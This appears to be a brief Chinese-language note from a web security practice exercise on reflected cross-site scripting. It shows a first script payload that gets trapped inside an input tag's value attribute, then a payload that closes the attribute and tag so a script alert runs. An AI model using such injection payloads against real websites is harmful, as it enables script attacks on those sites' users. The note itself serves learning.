XSS过程：

输入框：<script>alert(/qwsn/)</script>
//查看源码，发现：script脚本被写在input标签的value的属性值内，
<input name=keyword  value="<script>alert(/qwsn/)</script>">

构造payload：闭合value属性和input标签
"><script>alert("qwsn")</script>